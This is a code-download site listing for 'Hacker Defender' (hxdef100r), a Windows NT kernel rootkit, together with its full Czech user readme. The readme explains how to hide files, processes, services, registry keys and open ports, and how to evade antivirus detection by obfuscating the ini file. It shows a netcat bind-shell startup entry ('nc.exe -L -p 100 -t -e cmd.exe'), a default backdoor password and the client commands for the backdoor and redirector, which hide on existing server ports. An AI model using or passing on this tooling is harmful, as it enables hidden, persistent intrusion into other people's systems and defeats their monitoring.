hxdef100r
所属分类:Windows编程
开发工具:C/C++
文件大小:237KB
下载次数:35
上传日期:2009-04-22 20:14:54
上 传 者:
kernel.lover
说明: Kernel rootkit hacker defender
文件列表:
bdcli100.exe (26624, 2005-07-21)
hxdef-OFdis.exe (70656, 2005-09-01)
hxdef100.exe (70656, 2005-09-01)
rdrbs100.exe (49152, 2005-07-21)
hxdef100.2.ini (3924, 2005-07-20)
hxdef100.ini (4119, 2005-07-29)
src.zip (93679, 2005-09-01)
=======================[ Hacker defender - Czech readme ]=======================
NT Rootkit
----------
Autori: Holy_Father
Ratter/29A
Verze: 1.0.0 revisited
Datum: 15.08.2005
Home: http://www.hxdef.org, http://hxdef.net.ru,
http://hxdef.czweb.org, http://rootkit.host.sk
Betatesteri: ch0pper
aT4r
phj34r
unixdied <0edfd3cfd9f513ec030d3c7cbdf54819@hush.ai>
rebrinak
GuYoMe
ierdna
Afakasf
Readme: ceske & anglicke napsal holy_father
francouzske napsal GuYoMe
=====[ 1. Obsah ]===============================================================
1. Obsah
2. Uvod
2.1 Idea
2.2 Licence
3. Pouziti
4. Inifile
5. Backdoor
5.1 Redirector
6. Technicke otazky
6.1 Verze
6.2 Hookovane API
6.3 Zname chyby
7. Faq
8. Soubory
=====[ 2. Uvod ]================================================================
Hacker defender (hxdef) je rootkit pro Windows NT 4.0, Windows 2000,
Windows XP a Windows Server 2003, muze take fungovat i na pozdejsich verzich
systemu zalozenem na NT technologii. Hlavni telo programu je napsano
v Delphi. Nove funkce jsou nasapsany v assembleru. Driver je napsan v C.
Pomocne programy jsou programovany prevazne v Delphi.
program pouziva upraveny LDE32
LDE32, Length-Disassembler Engine, 32-bit, (x) 1999-2000 Z0MBiE
special edition for REVERT tool
version 1.05
program pouziva Superfast/Supertiny Compression/Encryption library
Superfast/Supertiny Compression/Encryption library.
(c) 19*** by Jacky Qwerty/29A.
=====[ 2.1 Idea ]===============================================================
Zakladni myslenka tohoto programu spociva v prepsani casti pameti
u vsech procesu bezicich v systemu. Prepsanim funkcni zakladnich modulu
se docili zmeny chovani procesu. Prepsani nesmi nijak ovlivnit stabilitu
systemu ani jednotlivych procesu.
Program musi byt absolutne neviditelny. Nyni umoznuje uzivateli skryt
soubory, procesy, systemove sluzby a drivery, klice a hodnoty v registru,
otevrene porty, umoznuje zmenu volneho mista na disku. Take maskuje zmenu
prepsane pameti a skryva handly skrytych procesu. Program nainstaluje
neviditelne backdoory a zaregistruje se jako neviditelna systemova sluzba
a take nainstaluje neviditelny driver. Technologie backdooru pak umoznila
i implantaci redirectoru.
=====[ 2.2 Licence ]============================================================
Od verze 1.0.0 je projekt open source, ale existuji i komercni verze
s ruznymi vylepsenimi a novymi vlastnostmi.
A samozrejme, ze autori nejsou zodpovedni za nasledky vasi cinnosti
nebo pouzivanim Hacker defender.
=====[ 3. Pouziti ]=============================================================
Pouziti hxdefu je celkem snadne:
>hxdef100.exe [inifile]
nebo
>hxdef100.exe [switch]
Pokud neni inifile zadan nebo se spousti se switchem, bere se defautne
jako inifile EXENAME.ini, kde EXENAME je jmeno hlavniho programu bez pripony
(defaultne tedy hxdef100.ini).
Tyto switche je mozne pouzit pouzit:
-:installonly - pouze nainstaluje sluzbu, ale nespusti se
-:refresh - slouzi k updatovani nastaveni z inifilu
-:noservice - neinstaluje se jako sluzba a spusti se normalne
-:uninstall - uplne odstrani hxdef z pameti a ukonci vsechna
bezici spojeni backdooru
zastaveni systemove sluzby hxdefu dela totez
Priklad:
>hxdef100.exe -:refresh
Hxdef se svym defaultnim inifilem je pripraven k pouziti bez zmen
inifilu. Je ale doporuceno vytvorit vlastni nastaveni. Pro vice informaci viz
sekce 4. Inifile.
Switche -:refresh a -:uninstall lze zavolat pouze z originalniho
exe souboru. To znamena, ze musite znat presnou cestu a jmeno souboru beziciho
hxdefu, abyste mohli zmenit jeho nastaveni, nebo ho odinstallovat.
=====[ 4. Inifile ]=============================================================
Inifile musi obsahovat deset casti: [Hidden Table], [Hidden Processes],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports] a [Settings]. V seznamech jsou
mezery na pocatku a na konci jmena polozky ignorovany. V [Hidden Table],
[Hidden Processes], [Root Processes], [Hidden Services] a [Hidden RegValues]
je moznost pouziti znaku * jako zastupneho znaku za konec retezce. Hvezdicku
lze pouzit pouze na konci, vse za prvni hvezdickou se ignoruje.
Priklad:
[Hidden Table]
hxdef*
skryje vsechny soubory, adresare a procesy zacinajici "hxdef".
Hidden Table obsahuje vycet souboru a adresaru, ktere se maji skryt.
Pokud se jedna o soubory a adresare, nebude moznost je videt ve file
managerech. Ujistete se, ze jmena souboru hlavniho programu, inifilu,
backdooru a driveru jsou v tomto vyctu uvedeny.
Hidden Processes obsahuje vycet procesu, ktere maji byt skryty. Tyto
budou neviditelne v tasklistu apod. Jmeno souboru hlavniho programu a backdooru
by zde melo byt uvedeno.
Root Processes obsahuje vycet programu, ktere budou imuni vuci infekci.
Pouze temito programy je mozne videt skryte soubory, slozky a programy. Tyto
programy jsou tedy urceny pro spravce rootkitu. Je mozne mit root proces,
ktery neni skryty a naopak.
Hidden Services je seznam nazvu systemovych sluzeb, ktere maji byt
skryty v tabulce systemovych sluzeb. Defaultni jmeno systemove sluzby hlavniho
programu rootkitu je HackerDefender100, jmeno driveru je defaultne nastaveno
na HackerDefenderDrv100. Obe tato jmena lze zmenit v inifilu.
Hidden RegKeys je seznam klicu v registru, ktere budou skryty. Rootkit
ma v registru ctyri klice: HackerDefender100, LEGACY_HACKERDEFENDER100,
HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100 defaultne. Pokud zmenite
jmeno sluzby nebo driveru, meli byste take zmenit tyto polozky.
Prvni dva klice registru jsou shode se jmenem sluzby a driveru. Dalsi
dva jsou LEGACY_JMENO. Pokud tedy zmenite jmeno sluzby na BoomTotoJeMojeSluzba,
vase jmeno klice v registru bude LEGACY_BOOMTOTOJEMOJESLUZBA.
Hidden RegValues je seznam hodnot v registru, ktere budou skryty.
Startup Run je seznam programu, ktere rootkitu spusti po svem spusteni.
Tyto programy pobezi pod stejnymi pravy jako rootkit. Jmeno programu je
oddeleno otaznikem od jeho parametru. Nepouzivaji se znaky ". Tyto programy
jsou ukonceny pri prihlaseni uzivatele. Ke spusteni programu po kazdem
prihlaseni uzivatele pouzijte klasicke metody. V tomto seznamu muzete pouzit
tyto zkratky:
%cmd% - zkratka pro soubor systemoveho shellu + cesta
(napr. C:\winnt\system32\cmd.exe)
%cmddir% - zkratka pro adresar systemoveho shellu
(napr. C:\winnt\system32\)
%sysdir% - zkratka pro systemovy adresar
(napr. C:\winnt\system32\)
%windir% - zkratka pro adresar Windows
(napr. C:\winnt\)
%tmpdir% - zkratka pro docasny adresar
(napr. C:\winnt\temp\)
Priklad:
1)
[Startup Run]
c:\sys\nc.exe?-L -p 100 -t -e cmd.exe
pri spusteni rootkitu se spusti netcat-shell poslouchajici na portu 100
2)
[Startup Run]
%cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt
pri kazdem spusteni rootkitu zapise cas do souboru
temporary_directory\starttime.txt (napr. do C:\winnt\temp\starttime.txt)
(%TIME% funguje pouze pro Windows 2000 a vyssi)
Free Space je seznam disku a poctu bytu, ktere maji byt pridany
k volnemu mistu na tomto disku. Format jedne polozky seznamu je X:NUM, kde X
oznacuje jmeno jednotky a NUM je pocet bytu, ktere budou pricteny k volnemu
mistu na tomto disku.
Priklad:
[Free Space]
C:123456789
prida asi 123 MB k volnemu mistu na disku C, ktere se ukazuje ve vlastnostech
disku
Hidden Ports je seznam otevrenych portu, ktere nemaji byt videt
v programech jako jsou OpPorts, FPort, Active Ports, Tcp View atd. Tento seznam
ma 3 radky. Format prvni radky je TCPI:port1,port2,port3,..., format druhe
radky pak TCPO:port1,port2,port3,..., format treti radky pak
UDP:port1,port2,port3,...
Priklad:
1)
[Hidden Ports]
TCPI:8080,456
TCPO:
UDP:
toto skryje dva (prichozi) porty: 8080/TCP a 456/TCP
2)
[Hidden Ports]
TCPI:
TCPO:8001
UDP:
toto skryje (odchozi) port 8001/TCP
3)
[Hidden Ports]
TCPI:
TCPO:
UDP:53,54,55,56,800
toto skryje pet portu: 53/UDP, 54/UDP, 55/UDP, 56/UDP a 800/UDP
Settings obsahuji osm hodnot: Password, BackdoorShell, FileMappingName,
ServiceName, ServiceDisplayName, ServiceDescription, DriverName
a DriverFileName.
Password je heslo slozene z 16 znaku, ktere je pak nutno zadavat pri
praci s backdoorem a redirectorem. Heslo muze byt i kratsi, zbytek se doplni
mezerami.
BackdoorShell je jmeno kopie shellu, ktera se vytvori pri spusteni
backdooru v docasnem adresari.
FileMappingName je jmeno sdilene pameti, kde je uchovano nastaveni
z inifilu pro hooknute procesy.
ServiceName je jmeno sluzby rootkitu.
ServiceDisplayName je zobrazovane jmeno sluzby.
ServiceDescription je popis sluzby.
DriverName je jmeno driveru.
DriverFileName je jmeno souboru pro driver hxdefu.
Priklad:
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdefá$.exe
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
zde je heslo pro backdoor "hxdef-rulez", backdoor zkopiruje systemovy shell
(vetsinou cmd.exe) do souboru "hxdefá$.exe" do docasneho adresare. Jmeno
sdilene pameti je "_.-=[Hacker Defender]=-._". Jmeno sluzby je nastaveno
na "HackerDefender100", zobrazovane jmeno sluzby pak na "HXD Service 100".
Popis sluzby je "poweful NT rootkit". Jmeno driveru je "HackerDefenderDrv100".
Driver bude ulozen v souboru "hxdefdrv.sys".
Specialni znaky |, <, >, :, \, / a " jsou ignorovany na vsech radkach
inifilu s vyjimkou polozek [Startup Run], [Free Space] a [Hidden Ports] a take
nejsou ignorovany za prvnim = v polozkach [Settings]. Pouzitim specialnich
znaku lze dosahnout zmateni antiviru, ktere detekuji inifile.
Priklad:
[H<<>a/"ble]
>h"xdef"*
je totez jako
[Hidden Table]
hxdef*
viz hxdef100.ini a hxdef100.2.ini pro vic prikladu
Vsechny retezce v inifilu krome tech v Settings a Startup Run nejsou
case sensitivni.
=====[ 5. Backdoor ]============================================================
Rootkit hookuje nekolik API funkci ve souvislosti s prijimanim dat
ze site. Pokud jsou prichozi data shodna s 256 bitovym identifikacnim klicem,
overi se heslo a sluzba, zkopiruje se shell do souboru v tempu, vytvori se
instance shellu a nasledujici tok dat se presmeruje na tento shell.
Protoze se hooknuti tyka vsech procesu, vznikne v systemu na vsech TCP
portech serveru backdoor. Napriklad pokud ma server otevreny port 80/TCP
pro HTTP, bude tento port slouzit i jako backdoor. Vyjimku zde tvori porty
otevrene procesem System, ktery neni hooknuty. Backdoor muze fungovat jen tam,
kde prijimaci buffer je alespon 256 bitu, coz ale odpovida temer vsem
standardnim serverum jako jsou Apache, IIS nebo Oracle. Vznika tedy backdoor,
ktery je neviditelny diky tomu, ze jeho komunikace probiha pres klasicky
server. Z tohoto vyplyva nemoznost detekovat backdoor klasickym portscanem
a naopak bezproblemovy beh pres firewall. Vyjimku tvori klasicke proxy,
ktere jsou orientovany na vyssi protokoly jako napr. FTP nebo HTTP.
Pri testech na sluzbach IIS se zjistilo, ze HTTP server neloguje tento
pristup vubec, FTP a SMTP servery zaregistruji koncove odpojeni od serveru.
Pro pripojeni k backdooru tedy musite pouzit specialniho klienta.
K tomu slouzi program bdcli100.exe.
Pouziti: bdcli100.exe host port password
Priklad:
>bdcli100.exe www.windowsserver.com 80 hxdef-rulez
spoji se s backdoorem, pokud je nainstalovan na serveru www.windowsserver.com
a pokud defaulni heslo pro backdoor nebylo zmeneno
Klient pro verzi 1.0.0 neni kompatibilni se servery starsich verzi.
=====[ 5.1 Redirector ]=========================================================
Na zaklade techinky backdooru byl implementovan redirector. Pocatek
komunikace se navazuje stejne jako u backdooru. Dalsi pakety jsou uz specialni
a urcene primo pro redirector. Tyto pakety generuje pouze redirectorova baze,
kterou uzivatel spousti na svem pocitaci. Pocatecni paket redirovaneho spojeni
urcuje cil prenosu, na zaklade toho se pak cele spojeni prenasi na cilovy
server a port.
Base redirectoru uklada sva data do inifilu, ktery je pojmenovan podle
jmena exe souboru baze (defaultne tedy rdrbs100.ini). Pokud soubor neexistuje,
je automaticky vytvoren. Inifile baze se doporucuje needitovat rucne. Vse lze
nastavit z koznole baze.
Pokud chceme pouzit redirector na serveru s instalovanym rootkitem,
musime nejprve na localhostu spustit bazi. Pote v konzole baze pridame tzv.
mapped port k rootkitu na vzdalenem serveru. Nakonec se pripojime na bazi
na localhostu na zvoleny port a prenasime data. Datova komunikace je sifrovana
pomoci hesla rootkitu. V soucasne verzi je rychlost omezena kolem 256 kBps.
Redirector rozhodne neni urcen k vysokorychlostnim prenosum velkych souboru.
Redirector je omezen systemem, na kterem bezi a jeho okolim. Redirector pracuje
na protokolu TCP.
Baze je ovladana v soucasne verzi pres 19 prikazu. Zadavani neni case
senzitive. Jejich funkce osvetluje prikaz HELP. Po startu baze se vykonaji
prikazy v startup-listu. Prikazy startup-listu se edituji pomoci konzolovych
prikazu zacinajicich SU.
Redirector v teto verzi rozlisuje HTTP a ostatni typy spojeni. Pokud je
typ spojeni oznacen jako HTTP, v paketech se meni parametr Host v hlavicce
protokolu HTTP. Pro ostatni typy spojeni se pakety nemeni. Maximalni pocet
redirektoru na jednu bazi je 1000.
Program je plne funkcni jen pro Windows NT. Pouze na NT je mozno mit
iconu v trayi a schovavat konzolu prikazem HIDE. Pouze na NT je mozne spoustet
bazi v tzv. silent modu, pri nemz program nema zadny vystup ani ikonu a bezi
az do sveho ukonceni podle prikazu v startup-listu.
Priklady:
1) vypsani stavu mapped portu:
>MPINFO
No mapped ports in the list.
2) pridani prikazu MPINFO do startup-listu a vypsani startup-listu:
>SUADD MPINFO
>sulist
0) MPINFO
3) pouziti prikazu HELP:
>HELP
Type HELP COMMAND for command details.
Valid commands are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
>HELP ADD
Create mapped port. You have to specify domain when using HTTP type.
usage: ADD [TYPE] [DOMAIN]
>HELP EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT [DIS]
4) prida***pped portu, chceme na localhostu poslouchat na portu 100, rootkit
je instalovan na serveru 200.100.2.36 na portu 80, server, na ktery chceme
presmerovat data je www.google.com na port 80, heslo rootkitu je bIgpWd,
spojeni je typu HTTP, ip adresa ciloveho serveru (www.google.com) - ip musime
vzdy znat - je 216.239.53.100:
>ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com
prikaz ADD muzeme spustit i bez parametru, pak jsme na kazdy zvlast dotazani
5) nyni znovu muzeme zkontrolovat porty pomoci prikazu MPINFO:
>MPINFO
There are 1 mapped ports in the list. Currently 0 of them open.
6) vypsani seznamu mapped portu:
>LIST
000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7) vypsani detailu o mapped portu:
>DETAIL 0
Listening on port: 100
Mapping server address: 200.100.2.36
Mapping server port: 80
Target server address: 216.239.53.100
Target server port: 80
Password: bIgpWd
Port type: HTTP
Domain name for HTTP Host: www.google.com
Current state: CLOSED
8) muzeme otestovat zda na serveru 200.100.2.36 je opravdu rootkit s timto
heslem (tento test neni nutny provadet pred pouzitim portu):
>TEST 0
Testing 0) 200.100.2.36:80:bIgpWd - OK
v pripade, ze test selze, vraci se
Testing 0) 200.100.2.36:80:bIgpWd - FAILED
9) port je zatim zavreny, pro pouziti se musi otevrit prikazem OPEN, zavrit
se pak muze prikazem CLOSE, pokud chceme aplikovat prikaz na vsecky porty,
piseme misto indexu portu priznak ALL, stav otevreni/zavreni se zobrazi kratce
po zadani prikazu:
>OPEN 0
Port number 0 opened.
>CLOSE 0
Port number 0 closed.
nebo
>OPEN ALL
Port number 0 opened.
10) prikazem SAVE se ulozi aktualni nastaveni do souboru (uklada se take
automaticky pri ukonceni aplikace prikazem EXIT bez priznaku DIS):
>SAVE
Saved successfully.
Po otevreni portu je jiz vse pripraveno pro komunikaci, nyni si muzete ve svem
oblibenem prohlizeci zadat jako url retezec http://localhost:100/ a sledovat,
kterak se nacita stranka www.google.com.
Prvni pakety spojeni mohou dorazit se spozdenim az 5 sekund, ostatni
jsou pak jiz jen omezeny rychlosti serveru, rychlosti vaseho spojeni a limitem
technologie redirectoru, ktery je v teto verzi kolem 256 kBps.
=====[ 6. Technicke otazky ]====================================================
Tato sekce neobsahuje zadne zajimave informace pro bezne uzivatele.
Tuto sekci by vsak meli cist vsichni betatesteri a vyvojari.
=====[ 6.1 Verze ]==============================================================
1.0.0 revisited
+ define kompilatoru pro vypnuti hookovani NtOpenFile
+ outbound TCP connection hiding
+ oddeleni skrytych souboru a procesu - Hidden Processes
+ mazani skrytych souboru z Prefetch po startu
+ vypnuti McAfee Buffer Overflow protection kvuli nekompatibilite
x nalezeno a opraveno nekolik bugu, kultivace zdrojoveho kodu
1.0.0 + open source
0. ... ...
近期下载者:
相关文件:
收藏者: